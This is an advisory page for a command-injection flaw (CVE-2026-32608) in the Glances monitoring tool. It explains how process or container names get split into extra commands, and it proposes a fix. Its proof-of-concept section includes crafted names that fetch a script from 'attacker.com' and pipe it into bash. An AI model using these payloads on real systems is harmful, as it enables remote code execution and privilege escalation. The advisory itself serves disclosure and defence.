Monitor vulnerabilities like this one. Sign up free to get alerted when software you use is affected.
7.0

Glances allows attackers to inject commands via process names

GHSA-vcv2-q258-wrg7 CVE-2026-32608
Summary

Glances has a security issue where attackers can inject malicious commands if they can control a process name or container name. This could allow them to execute arbitrary system commands. To protect against this, update Glances to the latest version, and carefully review and limit who can configure actions in glances.conf.

What to do
  • Update glances to version 4.5.2.
Affected software
VendorProductAffected versionsFix available
– glances <= 4.5.2 4.5.2
Original title
Glances has a Command Injection via Process Names in Action Command Templates
Original description
## Summary

The Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., `{{name}}`, `{{key}}`) that are populated with runtime monitoring data. The `secure_popen()` function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to `subprocess.Popen(shell=False)`. When a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands.

## Details

**The action execution flow:**

1. Admin configures an action in glances.conf (documented feature):

```ini
[cpu]
critical_action=echo "High CPU on {{name}}" | mail [email protected]
```

2. When the threshold is exceeded, the plugin model renders the template with runtime stats (glances/plugins/plugin/model.py:943):

```python
self.actions.run(stat_name, trigger, command, repeat, mustache_dict=mustache_dict)
```

3. The mustache_dict contains the full stat dictionary, including user-controllable fields like process name, filesystem mnt_point, container name, etc. (glances/plugins/plugin/model.py:920-943).

4. In glances/actions.py:77-78, the Mustache library renders the template:

```python
if chevron_tag:
cmd_full = chevron.render(cmd, mustache_dict)
```

5. The rendered command is passed to secure_popen() (glances/actions.py:84):

```python
ret = secure_popen(cmd_full)
```

**The secure_popen vulnerability** (glances/secure.py:17-30):

```python
def secure_popen(cmd):
ret = ""
for c in cmd.split("&&"):
ret += __secure_popen(c)
return ret
```

And __secure_popen() (glances/secure.py:33-77) splits by > and | then calls Popen(sub_cmd_split, shell=False) for each segment. The function splits the ENTIRE command string (including Mustache-rendered user data) by &&, >, and | characters, then executes each segment as a separate subprocess.

Additionally, the redirect handler at line 69-72 writes to arbitrary file paths:

```python
if stdout_redirect is not None:
with open(stdout_redirect, "w") as stdout_redirect_file:
stdout_redirect_file.write(ret)
```

## PoC

**Scenario 1: Command injection via pipe in process name**

```bash
# 1. Admin configures processlist action in glances.conf:
# [processlist]
# critical_action=echo "ALERT: {{name}} used {{cpu_percent}}% CPU" >> /tmp/alerts.log

# 2. Attacker creates a process with a crafted name containing a pipe:
cp /bin/sleep "/tmp/innocent|curl attacker.com/evil.sh|bash"
"/tmp/innocent|curl attacker.com/evil.sh|bash" 9999 &

# 3. When the process triggers a critical alert, secure_popen splits by |:
# Command 1: echo "ALERT: innocent
# Command 2: curl attacker.com/evil.sh <-- INJECTED
# Command 3: bash used 99% CPU" >> /tmp/alerts.log
```

**Scenario 2: Command chain via && in container name**

```bash
# 1. Admin configures containers action:
# [containers]
# critical_action=docker stats {{name}} --no-stream

# 2. Attacker names a Docker container with && injection:
docker run --name "web && curl attacker.com/rev.sh | bash && echo " nginx

# 3. secure_popen splits by &&:
# Command 1: docker stats web
# Command 2: curl attacker.com/rev.sh | bash <-- INJECTED
# Command 3: echo --no-stream
```

## Impact

- **Arbitrary command execution:** An attacker who can control a process name, container name, filesystem mount point, or other monitored entity name can execute arbitrary commands as the Glances process user (often root).

- **Privilege escalation:** If Glances runs as root (common for full system monitoring), a low-privileged user who can create processes can escalate to root.

- **Arbitrary file write:** The > redirect handling in secure_popen enables writing arbitrary content to arbitrary file paths.

- **Preconditions:** Requires admin-configured action templates referencing user-controllable fields + attacker ability to run processes on monitored system.

## Recommended Fix

Sanitize Mustache-rendered values before secure_popen processes them:

```python
# glances/actions.py

def _escape_for_secure_popen(value):
"""Escape characters that secure_popen treats as operators."""
if not isinstance(value, str):
return value
value = value.replace("&&", " ")
value = value.replace("|", " ")
value = value.replace(">", " ")
return value

def run(self, stat_name, criticality, commands, repeat, mustache_dict=None):
for cmd in commands:
if chevron_tag:
if mustache_dict:
safe_dict = {
k: _escape_for_secure_popen(v) if isinstance(v, str) else v
for k, v in mustache_dict.items()
}
else:
safe_dict = mustache_dict
cmd_full = chevron.render(cmd, safe_dict)
else:
cmd_full = cmd
...
```
ghsa CVSS3.1 7.0
Vulnerability type
CWE-78 OS Command Injection
Published: 16 Mar 2026 · Updated: 16 Mar 2026 · First seen: 16 Mar 2026